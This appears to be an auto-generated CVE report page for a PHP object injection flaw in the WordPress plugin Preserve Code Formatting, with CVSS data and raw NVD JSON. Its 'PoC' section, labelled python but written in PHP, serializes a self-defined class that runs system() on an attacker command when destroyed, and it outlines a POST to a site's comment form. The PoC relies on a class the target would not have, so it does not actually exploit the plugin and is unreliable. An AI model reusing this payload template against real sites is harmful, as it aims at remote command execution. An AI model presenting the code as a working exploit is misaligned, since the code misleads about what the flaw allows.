Security Vulnerability Report
中文
CVE-2025-49386 CVSS 8.8 HIGH

CVE-2025-49386

Published: 2025-11-06 16:15:53
Last Modified: 2026-04-27 20:16:15

Description

Deserialization of Untrusted Data vulnerability in Scott Reilly Preserve Code Formatting preserve-code-formatting allows Object Injection.This issue affects Preserve Code Formatting: from n/a through <= 4.0.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Preserve Code Formatting <= 4.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-49386 PHP Object Injection PoC // Target: WordPress Preserve Code Formatting Plugin <= 4.0.1 // Vulnerability: Deserialization of Untrusted Data // Gadget chain for PHP object injection class EvilClass { public $cmd; public function __destruct() { // Execute arbitrary command when object is destroyed system($this->cmd); } } // Generate malicious serialized payload $evil_object = new EvilClass(); $evil_object->cmd = 'id > /tmp/pwned.txt'; // Example command $payload = serialize($evil_object); echo "Malicious Payload: " . $payload . "\n"; // For WordPress, the payload would need to be injected through // plugin's vulnerable input field, typically through: // - Comment content // - Post content with shortcode // - Custom fields or metadata // Example POST request structure: /* POST /wp-comments-post.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded comment= serialized_payload_here &submit=Submit Comment */ // Note: This PoC requires a suitable gadget chain in the application // to achieve code execution. The actual exploitation depends on // available classes in WordPress and installed plugins. ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49386", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:53.103", "lastModified": "2026-04-27T20:16:14.823", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Scott Reilly Preserve Code Formatting preserve-code-formatting allows Object Injection.This issue affects Preserve Code Formatting: from n/a through <= 4.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/preserve-code-formatting/vulnerability/wordpress-preserve-code-formatting-plugin-4-0-1-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}